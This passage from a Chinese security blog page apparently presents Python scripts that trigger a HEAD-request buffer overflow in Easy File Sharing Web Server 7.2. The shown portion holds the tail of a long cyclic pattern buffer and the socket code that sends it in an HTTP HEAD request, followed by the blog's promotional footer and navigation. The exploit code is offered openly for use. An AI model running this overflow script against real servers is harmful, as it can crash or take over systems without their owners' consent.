q3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2Lp3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2Lx3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md6Md7Md8Md9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2Mf3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1Mg2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9Mj0Mj1Mj2Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2Mn3Mn4Mn5Mn6Mn7Mn8Mn9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9Mq0Mq1Mq2Mq3Mq4Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms6Ms7Ms8Ms9Mt0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M&quot;</span>
 
<span class="token comment"># HEAD</span>
a<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">&quot;HEAD &quot;</span> <span class="token operator">+</span> buff <span class="token operator">+</span> <span class="token string">&quot; HTTP/1.0\r\n\r\n&quot;</span><span class="token punctuation">)</span>
 
a<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>
 
<span class="token keyword">print</span> <span class="token string">&quot;Done...&quot;</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br><span class="line-number">17</span><br><span class="line-number">18</span><br><span class="line-number">19</span><br><span class="line-number">20</span><br><span class="line-number">21</span><br><span class="line-number">22</span><br><span class="line-number">23</span><br><span class="line-number">24</span><br><span class="line-number">25</span><br><span class="line-number">26</span><br><span class="line-number">27</span><br><span class="line-number">28</span><br><span class="line-number">29</span><br><span class="line-number">30</span><br><span class="line-number">31</span><br></div></div><h2 id="写在最后"><a href="#写在最后" class="header-anchor">#</a> 写在最后</h2> <blockquote><p>如果你觉得冰河写的还不错，请微信搜索并关注「 <strong>冰河技术</strong> 」微信公众号，跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术，「 <strong>冰河技术</strong> 」微信公众号更新了大量技术专题，每一篇技术文章干货满满！不少读者已经通过阅读「 <strong>冰河技术</strong> 」微信公众号文章，吊打面试官，成功跳槽到大厂；也有不少读者实现了技术上的飞跃，成为公司的技术骨干！如果你也想像他们一样提升自己的能力，实现技术能力的飞跃，进大厂，升职加薪，那就关注「 <strong>冰河技术</strong> 」微信公众号吧，每天更新超硬核技术干货，让你对如何提升技术能力不再迷茫！</p></blockquote> <p><img alt="" data-src="https://img-blog.csdnimg.cn/20200906013715889.png" loading="lazy" class="lazy"></p></div> <footer class="page-edit"><div class="edit-link"><a href="https://github.com/binghe001/BingheGuide/edit/master/docs/md/hack/bash/2022-05-02-002-触发EasyFileSharingWebServer7.2HEAD缓冲区溢出的Python脚本.md" target="_blank" rel="noopener noreferrer">在 GitHub 上编辑此页</a> <span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></div> <div class="last-updated"><span class="prefix">上次更新: </span> <span class="time">2022/5/23</span></div></footer> <div class="page-nav"><p class="inner"><span class="prev">
        ←
        <a href="/md/hack/bash/2022-05-02-001-3389脚本开启代码(vbs版).html" class="prev">
          3389脚本开启代码(vbs版)
        </a></span> <!----></p></div> </main></div> <aside class="page-sidebar"> <div class="page-side-toolbar"><div class="option-box-toc-fixed"><div class="toc-container-sidebar"><div class="pos-box"><div class="icon-arrow"></div> <div class="scroll-box" style="max-height:650px"><div style="font-weight:bold;text-align:center;">触发Easy File Sharing Web Server 7.2 HEAD缓冲区溢出的Python脚本</div> <hr> <div class="toc-box"><ul class="toc-sidebar-links"><li><a href="/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html#脚本一" class="toc-sidebar-link">脚本一：</a><ul class="toc-sidebar-sub-headers"></ul></li><li><a href="/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html#脚本二" class="toc-sidebar-link">脚本二：</a><ul class="toc-sidebar-sub-headers"></ul></li><li><a href="/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html#脚本三" class="toc-sidebar-link">脚本三：</a><ul class="toc-sidebar-sub-headers"></ul></li><li><a href="/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html#写在最后" class="toc-sidebar-link">写在最后</a><ul class="toc-sidebar-sub-headers"></ul></li></ul></div></div></div></div></div> <div class="option-box-toc-over"><img src="/images/system/toc.png" class="nozoom"> <span class="show-txt">目录</span> <div class="toc-container"><div class="pos-box"><div class="icon-arrow"></div> <div class="scroll-box" style="max-height:550px"><div style="font-weight:bold;text-align:center;">触发Easy File Sharing Web Server 7.2 HEAD缓冲区溢出的Python脚本</div> <hr> <div class="toc-box"><ul class="toc-sidebar-links"><li><a href="/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html#脚本一" class="toc-sidebar-link">脚本一：</a><ul class="toc-sidebar-sub-headers"></ul></li><li><a href="/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html#脚本二" class="toc-sidebar-link">脚本二：</a><ul class="toc-sidebar-sub-headers"></ul></li><li><a href="/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html#脚本三" class="toc-sidebar-link">脚本三：</a><ul class="toc-sidebar-sub-headers"></ul></li><li><a href="/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html#写在最后" class="toc-sidebar-link">写在最后</a><ul class="toc-sidebar-sub-headers"></ul></li></ul></div></div></div></div></div> <div class="option-box"><img src="/images/system/wechat.png" class="nozoom"> <span class="show-txt">手机看</span> <div class="toc-container"><div class="pos-box"><div class="icon-arrow"></div> <div class="scroll-box" style="text-align:center"><span style="font-size:0.9rem">微信扫一扫</span> <img height="180px" src="https://api.qrserver.com/v1/create-qr-code/?data=https://binghe001.github.io/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html" style="margin:10px;">
                可以<b>手机看</b>或分享至<b>朋友圈</b></div></div></div></div> <div class="option-box"><img src="/images/system/toggle.png" width="30px" class="nozoom"> <span class="show-txt">左栏</span></div> <div class="option-box"><img src="/images/system/xingqiu.png" width="25px" class="nozoom"> <span class="show-txt">星球</span> <div class="toc-container"><div class="pos-box"><div class="icon-arrow"></div> <div class="scroll-box" style="text-align:center"><span style="font-size:0.8rem;font-weight:bold;">实战项目<span style="font-size:8px;color:red;">「SpringCloud Alibaba实战项目」</span>、专属电子书、问题解答、简历指导、技术分享、晋升指导、视频课程</span> <img height="180px" src="/images/personal/xingqiu.png" style="margin:10px;"> <b>知识星球</b>：冰河技术
            </div></div></div></div> <div class="option-box"><img src="/images/system/wexin4.png" width="25px" class="nozoom"> <span class="show-txt">读者群</span> <div class="toc-container"><div class="pos-box"><div class="icon-arrow"></div> <div class="scroll-box" style="text-align:center"><span style="font-size:0.8rem;font-weight:bold;">添加冰河微信<span style="color:red;">(hacker_binghe)</span>进冰河技术学习交流圈「无任何套路」</span> <img src="/images/personal/hacker_binghe.jpg" height="180px" style="margin:10px;">
                PS：添加时请备注<b>读者加群</b>，谢谢！
              </div></div></div></div> <div class="option-box"><img src="/images/system/download-2.png" width="25px" class="nozoom"> <span class="show-txt">下资料</span> <div class="toc-container"><div class="pos-box"><div class="icon-arrow"></div> <div class="scroll-box" style="text-align:center"><span style="font-size:0.8rem;font-weight:bold;">扫描公众号，回复<span style="color:red;">“1024”</span>下载<span style="color:red;">100GB+</span>学习技术资料、PDF书籍、实战项目、简历模板等「无任何套路」</span> <img src="/images/personal/qrcode.png" height="180px" style="margin:10px;"> <b>公众号:</b> 冰河技术
              </div></div></div></div> <div class="option-box"><img src="/images/system/heart-1.png" width="25px" class="nozoom"> <span class="show-txt">赞赏我</span> <div class="toc-container"><div class="pos-box"><div class="icon-arrow"></div> <div class="scroll-box" style="text-align:center"><span style="font-size:0.8rem;font-weight:bold;">鼓励/支持/赞赏我</span> <img height="180px" src="/images/personal/encourage-head.png" style="margin:5px;"> <br>1. 不靠它生存但仍希望得到你的鼓励；
                <br>2. 时刻警醒自己保持技术人的初心；
              </div></div></div></div> <div title="3389脚本开启代码(vbs版)" class="option-box" style="padding-left:2px;text-align:center;"><a href="/md/hack/bash/2022-05-02-001-3389脚本开启代码(vbs版).html"><img src="/images/system/pre2.png" width="30px" class="nozoom"> <span class="show-txt">上一篇</span></a></div> <!----></div>  <!----> </aside></div><div class="global-ui"><div class="read-more-wrap" style="display:none;position:absolute;bottom:0px;z-index:9999;width:100%;margin-top:-100px;font-family:PingFangSC-Regular, sans-serif;"><div id="read-more-mask" style="position: relative; height: 200px; background: -webkit-gradient(linear, 0 0%, 0 100%, from(rgba(255, 255, 255, 0)), to(rgb(255, 255, 255)));"></div> <a id="read-more-btn" target="_self" style="position: absolute; left: 50%; top: 70%; bottom: 30px; transform: translate(-50%, -50%); width: 160px; height: 36px; line-height: 36px; font-size: 15px; text-align: center; border: 1px solid rgb(222, 104, 109); color: rgb(222, 104, 109); background: rgb(255, 255, 255); cursor: pointer; border-radius: 6px;">阅读全文</a> <div id="btw-modal-wrap" style="display: none;"><div id="btw-mask" style="position: fixed; top: 0px; right: 0px; bottom: 0px; left: 0px; opacity: 0.7; z-index: 999; background: rgb(0, 0, 0);"></div> <div id="btw-modal" style="position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 300px; text-align: center; font-size: 13px; background: rgb(255, 255, 255); border-radius: 10px; z-index: 9999; font-family: PingFangSC-Regular, sans-serif;"><span id="btw-modal-close-btn" style="position: absolute; top: 5px; right: 15px; line-height: 34px; font-size: 34px; cursor: pointer; opacity: 0.2; z-index: 9999; color: rgb(0, 0, 0); background: none; border: none; outline: none;">×</span> <p id="btw-modal-header" style="margin-top: 40px; line-height: 1.8; font-size: 13px;">
                扫码或搜索：<span style="color: #E9405A; font-weight: bold;">冰河技术</span> <br>发送：<span id="fustack-token" class="token" style="color: #e9415a; font-weight: bold; font-size: 17px; margin-bottom: 45px;">290992</span> <br>即可<span style="color: #e9415a; font-weight: bold;">立即永久</span>解锁本站全部文章</p> <img src="/images/personal/qrcode.png" style="width: 180px; margin-top: 10px; margin-bottom: 30px; border: 8px solid rgb(230, 230, 230);"></div></div></div><div class="pay-read-more-wrap" style="display:none;position:absolute;bottom:0px;z-index:9999;width:100%;margin-top:-100px;font-family:PingFangSC-Regular, sans-serif;"><div id="pay-read-more-mask" style="position: relative; height: 200px; background: -webkit-gradient(linear, 0 0%, 0 100%, from(rgba(255, 255, 255, 0)), to(rgb(255, 255, 255)));"></div> <a id="pay-read-more-btn" target="_blank" style="position: absolute; left: 50%; top: 70%; bottom: 30px; transform: translate(-50%, -50%); width: 160px; height: 36px; line-height: 36px; font-size: 15px; text-align: center; border: 1px solid rgb(222, 104, 109); color: rgb(222, 104, 109); background: rgb(255, 255, 255); cursor: pointer; border-radius: 6px;">付费阅读</a></div></div></div>
    <script src="/assets/js/cg-styles.js?v=1653305936337" defer></script><script src="/assets/js/cg-4.js?v=1653305936337" defer></script><script src="/assets/js/cg-3.js?v=1653305936337" defer></script><script src="/assets/js/cg-134.js?v=1653305936337" defer></script><script src="/assets/js/cg-5.js?v=1653305936337" defer></script><script src="/assets/js/cg-6.js?v=1653305936337" defer></script><script src="/assets/js/cg-app.js?v=1653305936337" defer></script>
  </body>
</html>
